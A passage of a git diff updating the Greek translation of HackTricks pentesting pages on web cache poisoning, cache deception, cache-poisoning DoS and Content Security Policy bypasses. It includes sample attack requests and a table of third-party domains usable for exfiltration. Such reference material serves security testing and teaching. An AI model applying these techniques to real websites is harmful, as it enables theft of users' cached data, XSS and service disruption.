μόλυνσης της μνήμης cache. -Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα: +Η εκτέλεση μιας επίθεσης δηλητηρίασης μνήμης cache περιλαμβάνει αρκετά βήματα: -1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache. -2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο. -3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση. +1. **Αναγνώριση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache. +2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού αναγνωριστούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την εύρεση τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο. +3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης που έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση. ### Discovery: Check HTTP headers @@ -47,7 +47,7 @@ cache-poisoning-to-dos.md ### Λάβετε την απάντηση που έχει αποθηκευτεί στην cache -Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να αποθηκεύσετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην cache, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα. +Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα αποθηκευμένη στην cache. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην cache, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα. Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν αποθηκεύτηκε στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένο.\ Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800` @@ -56,7 +56,7 @@ cache-poisoning-to-dos.md Μια ακόμη κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy. -Όταν αποθηκεύετε ένα αίτημα στην cache, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια Δηλητηρίαση Cache με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. +Όταν αποθηκεύετε ένα αίτημα στην cache, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση cache με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. ## Παραδείγματα Εκμετάλλευσης @@ -77,7 +77,7 @@ _Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτ cache-poisoning-to-dos.md {{#endref}} -### Χρησιμοποιώντας τη δηλητηρίαση cache του ιστού για να εκμεταλλευτείτε ευπάθειες διαχείρισης cookies +### Χρησιμοποιώντας τη δηλητηρίαση web cache για να εκμεταλλευτείτε ευπάθειες διαχείρισης cookie Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απόκριση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απόκριση cache. ```markup @@ -160,7 +160,7 @@ Example usage: `wcvs -u example.com` ### GitHub CP-DoS -Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατόν να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες. +Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, επομένως ήταν δυνατόν να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες. ### GitLab + GCP CP-DoS @@ -168,7 +168,7 @@ Example usage: `wcvs -u example.com` ### Rack Middleware (Ruby on Rails) -Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το scheme του αιτήματος. Όταν η κεφαλίδα `x-forwarded-scheme: http` αποστέλλεται, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια. +Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν η κεφαλίδα `x-forwarded-scheme: http` αποστέλλεται, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια. ### 403 and Storage Buckets @@ -176,7 +176,7 @@ Example usage: `wcvs -u example.com` ### Injecting Keyed Parameters -Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήματα. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ., `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. +Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήματα. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. ### User Agent Rules @@ -194,7 +194,7 @@ Example usage: `wcvs -u example.com` Ο στόχος της Cache Deception είναι να κάνει τους πελάτες **να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους**. -Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο του χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες. +Πρώτα απ' όλα, σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες. Άλλα πράγματα για δοκιμή: @@ -209,7 +209,7 @@ Example usage: `wcvs -u example.com` Στο παράδειγμα, εξηγείται ότι αν φορτώσετε μια ανύπαρκτη σελίδα όπως _http://www.example.com/home.php/non-existent.css_, το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο διακομιστής cache θα αποθηκεύσει το αποτέλεσμα.\ Στη συνέχεια, ο **επιτιθέμενος** μπορεί να αποκτήσει πρόσβαση στο _http://www.example.com/home.php/non-existent.css_ στον δικό του περιηγητή και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση πριν. -Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει έναν content-type `text/html` αντί για έναν mime type `text/css` (ο οποίος είναι ο αναμενόμενος για ένα _.css_ αρχείο). +Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει ένα `text/html` content-type αντί για ένα `text/css` mime type (το οποίο είναι το αναμενόμενο για ένα _.css_ αρχείο). Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index a2c81f990..1fde2bc35 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -15,7 +15,7 @@ X-Oversize-Hedear:Big-Value-000000000000000 ``` - **HTTP Meta Character (HMC) & Unexpected values** -Στείλτε μια κεφαλίδα που περιέχει μερικούς **βλαβερούς μετα-χαρακτήρες** όπως και . Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε την κρυφή μνήμη. +Στείλτε μια κεφαλίδα που περιέχει μερικούς **βλαβερούς μεταχαρακτήρες** όπως και . Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε την κρυφή μνήμη. ``` GET / HTTP/1.1 Host: redacted.com @@ -63,7 +63,7 @@ Cache: miss ``` - **Long Redirect DoS** -Όπως στο παρακάτω παράδειγμα, το x δεν αποθηκεύεται στην cache, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά της απόκρισης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει μια διεύθυνση URL τόσο μεγάλη που να επιστρέφει ένα σφάλμα. Στη συνέχεια, οι άνθρωποι που προσπαθούν να αποκτήσουν πρόσβαση στη διεύθυνση URL χωρίς το uncached x key θα λάβουν την απόκριση σφάλματος: +Όπως στο παρακάτω παράδειγμα, το x δεν αποθηκεύεται στην κρυφή μνήμη, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά της απόκρισης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει μια διεύθυνση URL τόσο μεγάλη που να επιστρέφει ένα σφάλμα. Στη συνέχεια, οι άνθρωποι που προσπαθούν να αποκτήσουν πρόσβαση στη διεύθυνση URL χωρίς το uncached x key θα λάβουν την απόκριση σφάλματος: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 424c541a7..cfaff5769 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -Αυτό είναι μια περίληψη των τεχνικών που προτάθηκαν στην ανάρτηση [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) προκειμένου να εκτελούνται επιθέσεις cache poisoning **καταχρώντας τις διαφορές μεταξύ cache proxies και web servers.** +Αυτό είναι ένα σύνοψη των τεχνικών που προτείνονται στην ανάρτηση [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) προκειμένου να εκτελούνται επιθέσεις cache poisoning **καταχρώντας τις διαφορές μεταξύ cache proxies και web servers.** > [!NOTE] -> Ο στόχος αυτής της επίθεσης είναι να **κάνει τον cache server να πιστεύει ότι φορτώνεται ένας στατικός πόρος** έτσι ώστε να τον αποθηκεύει στην cache ενώ ο cache server αποθηκεύει ως κλειδί cache μέρος της διαδρομής αλλά ο web server απαντά επιλύοντας μια άλλη διαδρομή. Ο web server θα επιλύσει τη πραγματική διαδρομή που θα φορτώνει μια δυναμική σελίδα (η οποία μπορεί να αποθηκεύει ευαίσθητες πληροφορίες σχετικά με τον χρήστη, ένα κακόβουλο payload όπως XSS ή να ανακατευθύνει για να φορτώσει ένα αρχείο JS από την ιστοσελίδα του επιτιθέμενου για παράδειγμα). +> Ο στόχος αυτής της επίθεσης είναι να **κάνει τον cache server να πιστεύει ότι φορτώνεται ένας στατικός πόρος** έτσι ώστε να τον αποθηκεύει στην cache ενώ ο cache server αποθηκεύει ως κλειδί cache μέρος της διαδρομής αλλά ο web server απαντά επιλύοντας μια άλλη διαδρομή. Ο web server θα επιλύσει τη πραγματική διαδρομή που θα φορτώνει μια δυναμική σελίδα (η οποία μπορεί να αποθηκεύει ευαίσθητες πληροφορίες για τον χρήστη, ένα κακόβουλο payload όπως XSS ή να ανακατευθύνει για να φορτώσει ένα αρχείο JS από την ιστοσελίδα του επιτιθέμενου για παράδειγμα). ## Delimiters -**URL delimiters** ποικίλλουν ανάλογα με το framework και τον server, επηρεάζοντας τον τρόπο που δρομολογούνται τα αιτήματα και χειρίζονται οι απαντήσεις. Ορισμένοι κοινοί διαχωριστές προέλευσης είναι: +**URL delimiters** διαφέρουν ανάλογα με το framework και τον server, επηρεάζοντας τον τρόπο που δρομολογούνται τα αιτήματα και χειρίζονται οι απαντήσεις. Ορισμένοι κοινοί διαχωριστές προέλευσης είναι: -- **Semicolon**: Χρησιμοποιείται στο Spring για matrix variables (π.χ. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). -- **Dot**: Προσδιορίζει τη μορφή απάντησης στο Ruby on Rails (π.χ. `/MyAccount.css` → `/MyAccount`) +- **Ερωτηματικό**: Χρησιμοποιείται στο Spring για μεταβλητές matrix (π.χ. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). +- **Τελεία**: Προσδιορίζει τη μορφή απάντησης στο Ruby on Rails (π.χ. `/MyAccount.css` → `/MyAccount`) - **Null Byte**: Συντομεύει διαδρομές στο OpenLiteSpeed (π.χ. `/MyAccount%00aaa` → `/MyAccount`). - **Newline Byte**: Διαχωρίζει τα στοιχεία URL στο Nginx (π.χ. `/users/MyAccount%0aaaa` → `/account/MyAccount`). @@ -25,7 +25,7 @@ ## Normalization & Encodings - **Σκοπός**: Οι αναλυτές URL και στους δύο cache και origin servers κανονικοποιούν τα URLs για να εξάγουν διαδρομές για την αντιστοίχιση σημείων και τα κλειδιά cache. -- **Διαδικασία**: Εντοπίζει τους διαχωριστές διαδρομής, εξάγει και κανονικοποιεί τη διαδρομή αποκωδικοποιώντας χαρακτήρες και αφαιρώντας dot-segments. +- **Διαδικασία**: Εντοπίζει τους διαχωριστές διαδρομής, εξάγει και κανονικοποιεί τη διαδρομή αποκωδικοποιώντας χαρακτήρες και αφαιρώντας τμήματα τελείας. ### **Encodings** diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 89992ae2e..477bf3b83 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -20,8 +20,8 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις κεφαλίδες: -- `Content-Security-Policy`: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβάσεις. -- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής. +- `Content-Security-Policy`: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβιάσεις. +- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής. ### Defining Resources @@ -62,9 +62,9 @@ object-src 'none'; ### Πηγές -- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με `data:`, `blob:`, `filesystem:` σχήματα. -- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τομέα. -- `'data'`: Επιτρέπει την φόρτωση πόρων μέσω του σχήματος δεδομένων (π.χ., εικόνες κωδικοποιημένες σε Base64). +- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με `data:`, `blob:`, `filesystem:` schemes. +- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τοποθεσία. +- `'data'`: Επιτρέπει την φόρτωση πόρων μέσω του data scheme (π.χ., εικόνες κωδικοποιημένες σε Base64). - `'none'`: Αποκλείει τη φόρτωση από οποιαδήποτε πηγή. - `'unsafe-eval'`: Επιτρέπει τη χρήση του `eval()` και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας. - `'unsafe-hashes'`: Ενεργοποιεί συγκεκριμένους inline event handlers. @@ -89,8 +89,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> - `'sha256-'`: Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash. -- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα μέσω nonce ή hash. -- `'host'`: Καθορίζει μια συγκεκριμένη πηγή, όπως το `example.com`. +- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα με nonce ή hash. +- `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`. - `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS. - `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript). - `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων. @@ -161,13 +161,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ``` Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**. -Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι μια εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***. +Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον MIME τύπο του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **MIME τύπο όπως audio/\***. -Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)). +Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)). ### Form-action -Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε ακόμα να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας. +Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας. ### Third Party Endpoints + ('unsafe-eval') @@ -243,7 +243,7 @@ ng-init="c.init()" ``` -Περισσότερα [**payloads από αυτή την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): +Περισσότερα [**payloads από αυτήν την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): ```html @@ -274,7 +274,7 @@ https://www.google.com/amp/s/example.com/ ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Σενάρια όπως αυτό όπου το `script-src` έχει οριστεί σε `self` και ένα συγκεκριμένο domain που είναι στη λίστα επιτρεπόμενων μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Τα endpoints JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload: +Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και μια συγκεκριμένη τοποθεσία που έχει εγκριθεί μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Οι τελικές διευθύνσεις JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload: ```markup "> "> @@ -293,15 +293,15 @@ https://www.youtube.com/oembed?callback=alert; Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι: | Οντότητα | Επιτρεπόμενος Τομέας | Δυνατότητες | -| ----------------- | ---------------------------------------------- | ------------ | -| Facebook | www.facebook.com, \*.facebook.com | Exfil | -| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | -| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | -| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | -| Amazon AWS | \*.amazonaws.com | Exfil, Exec | -| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | -| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | -| Google Firebase | \*.firebaseapp.com | Exfil, Exec | +| ----------------- | --------------------------------------------- | ------------ | +| Facebook | www.facebook.com, \*.facebook.com | Exfil | +| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | +| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | +| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | +| Amazon AWS | \*.amazonaws.com | Exfil, Exec | +| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | +| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | +| Google Firebase | \*.firebaseapp.com | Exfil, Exec | Αν βρείτε οποιονδήποτε από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, οι πιθανότητες είναι ότι μπορεί να είστε σε θέση να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και, είτε να εξάγετε δεδομένα σε αυτή την υπηρεσία είτε να εκτελέσετε κώδικα. @@ -313,16 +313,16 @@ Content-Security-Policy​: default-src 'self’ www.facebook.com;​ ``` Content-Security-Policy​: connect-src www.facebook.com;​ ``` -Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως πάντα γινόταν με [Google 